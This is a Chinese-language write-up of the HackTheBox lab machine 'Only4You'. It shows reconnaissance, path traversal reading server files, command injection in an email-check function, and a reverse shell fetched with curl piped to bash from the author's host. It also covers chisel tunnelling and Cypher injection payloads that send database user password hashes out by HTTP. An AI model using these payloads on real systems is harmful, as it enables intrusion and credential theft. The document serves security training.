[HTB] Only4You

First Post:

Last Update:

Word Count:
7.1k

Read Time:
37 min

14726

前言

好难。再也不填非常简单了。

信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
$ sudo nmap -p- --min-rate=10000 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:40 EDT
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds

$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:42 EDT
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.074s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Only4you
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds

$ sudo nmap --script=vuln 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:42 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.076s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=only4you.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://only4you.htb:80/
| Form id: name
|_ Form action: /
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Nmap done: 1 IP address (1 host up) scanned in 233.63 seconds

看了22和80,那就80吧。

nikto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nikto -h 10.10.11.210
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.11.210
+ Target Hostname: 10.10.11.210
+ Target Port: 80
+ Start Time: 2023-07-24 01:43:02 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://only4you.htb/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ 8074 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2023-07-24 01:53:38 (GMT-4) (636 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

暂时没啥发现。

whatweb

1
2
$ sudo whatweb http://only4you.htb
http://only4you.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@only4you.htb], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.210], Lightbox, Script, Title[Only4you], nginx[1.18.0]

web渗透

手动访问网站

我们把only4you.htb加入hosts中,访问一下看看。

e87ecf411dde4488211e1e0b1c599daf

搞的像模像样,其实实际上没几个按钮是有用的。我们再四处看看。

在QA里面里第三个问题的here处找到一个可以跳转的子域名。

5ea1297a1bcae8c821d8e1e478f04724

我们把beta.only4you.htb也加入hosts中,访问一下看看。

040e0489aba7ae7d1734b2f8efc01a06

发现是一个网站展示他们产品的网页,他甚至还提供了源代码,那我们下载下来看看吧。

代码审计

我们大体看一下源代码就可以知道,其实就是一个很简单的,用flask跑了一个网站服务器,在上面部署了重新调整图片大小以及转换图片的功能罢了。在beta.only4you.htb上也有对应的服务页面。

e7c48d6b191ae4e53452a41de211652f

cac37a5b60df1328805fc4cf98724bcd

我们明显可以发现这两个服务还提供文件上传功能,那我们是不是可以利用呢?那得细看一下源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
@app.route('/resize', methods=['POST', 'GET'])
def resize():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only png and jpg images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
status = resizeimg(img)
if status == False:
flash('Image is too small! Minimum size needs to be 700x700', 'danger')
return redirect(request.url)
else:
flash('Image is succesfully uploaded!', 'success')
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
else:
return render_template('resize.html', clicked="False")

@app.route('/convert', methods=['POST', 'GET'])
def convert():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only jpg and png images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
if ext == '.png':
image = convertpj(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
image = convertjp(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('convert.html')
else:
[f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
return render_template('convert.html')

看了一下, img = secure_filename(file.filename)以及ext = os.path.splitext(img)[1]这两条把我们限制的比较难受,不太好利用。但是天无绝人之路,往下看看发现/download更有利用的可能性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)

表面上代码posixpath.normpath(image)来规范化路径,避免路径遍历,也用了if '..' in filename or filename.startswith('../')来避免路径遍历。第一次有了posixpath.normpath..匹配,本来是两件很美好的事情,加在一起为什么会变成这样。实际上,posixpath.normpath把这变成马奇诺防线了,我们可以写个脚本测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat test.py
import posixpath

while 1:
image = input('file:')
filename = posixpath.normpath(image)
print(filename)
if '..' in filename or filename.startswith('../'):
print('Hacking detected!')
else:
print('Good')

$ python test.py
file:../../etc/passwd
../../etc/passwd
Hacking detected!
file:/etc/passwd
/etc/passwd
Good
file:./etc/passwd
etc/passwd
Good
file:/.././etc/passwd
/etc/passwd
Good

我们可以看到,posixpath.normpath本意是把路径规范化,把多余的什么../以及.等多余的路径都删掉剩下最后路径。结果显然后面的匹配就没意义了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ curl http://beta.only4you.htb/download --data "image=/../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:996:996::/var/log/laurel:/bin/false

实际上我们直接--data "image=/etc/passwd"也可以看到。

LFI利用

我们验证了LFI漏洞的存在,但是我们要怎么利用呢?我们要看哪些文件?其实很自然的,我们现在看到了子域名beta网站的源代码,发现了漏洞,那我们能不能看看主站的源代码呢?那我们就需要知道具体的路径了。当然前面基本上是/var/www/没差了,我们试了下常见的html也不对,光在这猜也是不是个事,那我们就要想哪些东西的路径是相对固定的,没错,日志。我们之前whatweb以及扫描都发现了网站是基于nginx的,我们知道nginx的日志分为访问日志和错误日志,默认路径分别是/var/log/nginx/access.log以及/var/log/nginx/error.log。我们可以都看看。

access log一堆乱七八糟的记录,不想看,看看远处的error log:

1
2
3
$ curl http://beta.only4you.htb/download --data "image=/var/log/nginx/error.log"
2023/07/24 03:06:32 [error] 1047#1047: *11 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.6, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb"
2023/07/24 03:42:25 [error] 1047#1047: *489 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.238, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb", referrer: "http://only4you.htb/"

提供了我们最需要的路径/var/www/only4you.htb/。那我们就可以看看主站的源代码了。

然而主站使用什么写的呢?php?aspx?其实要index.php这样一个一个试也可以,但是我们刚才可以发现beta网站和主站风格是相似的,如果beta用python写的,主站也用python写的概率是极大的。那我们试试默认网页app.py看看能不能读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ curl http://beta.only4you.htb/download --data "image=/var/www/only4you.htb/app.py"
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr

status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405

if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)

发现竟然还真是。

我们看一下代码就会发现其实没啥内容,主要实现的功能就一个sendmessage功能,也就是主页那个发送消息的框。

f12f38902e44b075f2ca3dd0592012e9

之前其实手动尝试过是否存在sql注入漏洞啥的,并没什么发现,那我们研究下其具体实现看看有无可以利用的点吧。然而app.py并没其具体实现,我们看其实从form中import来的,显然form明显不是一个标准的python库,那说明其是一个同目录下的单独的py文件。那我们看看其代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$ curl http://beta.only4you.htb/download --data "image=/var/www/only4you.htb/form.py"
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1

def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'

smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status

确实如此。

代码审计2.0

我们需要重点关注的是这一部分。主要其中的run(shell=True)函数很吸引我们。

1
2
3
4
5
6
7
8
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1

在Python中,run([f""], shell=True, stdout=PIPE) 是用于执行外部命令的一种方法。这是通过subprocess模块的run()函数来实现的。

我们发现,函数对domain的处理是将通过@将邮箱两部分分离,取后一部分运行dig命令。很显然这里存在代码注入的问题,因为我们只要构造类似xxx@xxx.xxx;payload的payload就能既绕过过滤又可以进行RCE拿shell了。

如果你说这里代码审计分析好难分析不出来怎么办?问chatgpt呗。

ca5f0a4ac6dfa7fb34d2bec69538348c

善用工具就能很好实现我们的目标。

RCE

我们先尝试了最喜欢bash -i以及nc,但是就算url编码了还是不能成功get shell,估计和&这些符号有关,但是我们其实还可以用curl来反弹shell。我们先写好shell.sh,再在本地用python开一个简单的http server 。

1
2
3
4
5
6
$ curl http://only4you.htb/ --data "name=111&email=1%401.com;curl <HTB_VPN_IP>:8888/shell.sh | sh&subject=111&message=111"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/#contact">/#contact</a>. If not, click the link.

我们服务器确实接受到了请求,但是为啥没收到shell?难道是没有sh的原因?很怪,我们试试bash执行。

1
$ curl http://only4you.htb/ --data "name=111&email=1%401.com;curl <HTB_VPN_IP>:8888/shell.sh | bash&subject=111&message=111"

这次成功拿到了反弹shell。

1
2
3
4
5
6
$ sudo nc -nlvp 4444
listening on [any] 4444 ...
connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.210] 47256
bash: cannot set terminal process group (1013): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$

提权

内网服务发现

然而拿到shell只能说迈出了第一步,这个www-data哪怕有点权限也不会一点也没有,拿不到user flag,只能考虑先提权到用户权限再说了。

四处看了看也没找到啥提权的好途径,上linpeas看看。

1
2
3
4
5
6
7
8
9
10
11
12
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1040/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -

除了发现本地还开了很多其他端口以外,其他的东西都没啥入手点。我们先细看一下都有哪些端口在lisaten状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@only4you:~/only4you.htb$ netstat -natp
netstat -natp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1040/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 14 10.10.11.210:40060 <HTB_VPN_IP>:4444 ESTABLISHED 1257/bash
tcp 0 1 10.10.11.210:44060 8.8.8.8:53 SYN_SENT -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -

其中3000和8001都不知道是啥,3306和33060明显是mysql的端口,7474和7687都是neo4j的端口,但这些都是默认情况下的,具体是不是还得我们自己确认。

由于这些服务都跑在内网里,所以我们要先进行内网穿透,可以用chisel或者frp都可以,frp要自己手动写一下配置文件,我懒得写,这里就用chisel了,比较方便。

在本机起一个服务端。

1
2
3
4
$ ./chisel server -p 8000 --reverse
2023/07/24 04:49:59 server: Reverse tunnelling enabled
2023/07/24 04:49:59 server: Fingerprint XMxZkZvd1PTuA20hOGgOyRF36iBDf9cR5dxT/zr0eBc=
2023/07/24 04:49:59 server: Listening on http://0.0.0.0:8000

在靶机上起客户端转发。

1
2
3
www-data@only4you:/tmp$ ./chisel client <HTB_VPN_IP>:8000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 R:7474:127.0.0.1:7474 &
<:3000 R:8001:127.0.0.1:8001 R:7474:127.0.0.1:7474 &
[1] 18440

收到了连接。

1
2
3
2023/07/24 04:50:32 server: session#1: tun: proxy#R:3000=>3000: Listening
2023/07/24 04:50:32 server: session#1: tun: proxy#R:8001=>8001: Listening
2023/07/24 04:50:32 server: session#1: tun: proxy#R:7474=>7474: Listening

然后我们打开浏览器就可以正常访问这些内网服务了。

3000端口:

99b692903e8f260775f8a6132ea01afe

3000端口上跑的服务是Gogs,有点类似github。我们直接在登录页面尝试弱密码,没得手。

7474端口:

a98e0e747eaa2ad7839539e6a91d7553

7474端口如预料的一样跑的是neo4j的数据库web管理页面。试着登录没成功。

8001端口:

cf007b7a66ac38df47aa1ca069b068d5

直接就是一个登录页面,试着登录,成功了?我们用admin:admin的弱密码成功登录了。

e655af8cc9081afbc0dcf681b55b639d

然后就是这么一个页面,不知道有啥用。但是我们看一下task那里,我们发现说是数据库迁移成了neo4j,很合理,毕竟7687就跑着neo4j的服务呢。我们再看看employees页面,发现有个搜索框。

567b57c3eadb3653b11e53516a3f3726

既然都是数据库,neo4j有没有注入漏洞呢?我们直接谷歌查一下neo4j injection,发现喜闻乐见的还真有。HackTricks上就有详细介绍,neo4j的注入叫Cypher Injection。

Cypher Injection

我们照着来,本地开一个http服务器监听。

先查版本:

1
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<HTB_VPN_IP>:7777/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

直接丢就搜索框查就行,如果要用burpsuite或者firefox的编辑重发,记得URL编码一下。

1
2
3
4
$ python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.10.11.210 - - [24/Jul/2023 05:22:55] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [24/Jul/2023 05:22:55] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

发现能成功接收到返回。

再查一下标签(类似mysql中的表概念):

1
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<HTB_VPN_IP>:7777/?l='+label as l RETURN 0 as _0 

我们直接照抄发现没反应,观察一下与第一个的区别,怀疑是闭合的问题,我们照着第一个请求改一下。

1
' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://<HTB_VPN_IP>:7777/?l='+label as l RETURN 0 as _0 //

OK了。

1
2
3
4
5
6
7
8
9
10
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:09] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:10] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:10] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:33:10] "GET /?l=employee HTTP/1.1" 200

有两个label我们肯定更想查user,看看有无其他用户的登录凭证。

1
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.96:7777/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:01] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:02] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:04] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Jul/2023 05:35:04] "GET /?username=john HTTP/1.1" 200 -

我们拿到了admin和john的密码哈希,admin的不用看了,就是admin的,看看john的是啥,丢到hashes破解一下。

fa84e0f219af1de9a478b64800ede2de

提权到user

拿到密码,直接尝试ssh登录john,发现成功登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ssh john@10.10.11.210
john@10.10.11.210's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Mon 24 Jul 2023 12:18:20 PM UTC

System load: 0.06 Processes: 239
Usage of /: 84.7% of 6.23GB Users logged in: 0
Memory usage: 48% IPv4 address for eth0: 10.10.11.210
Swap usage: 0%


* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.

https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


john@only4you:~$

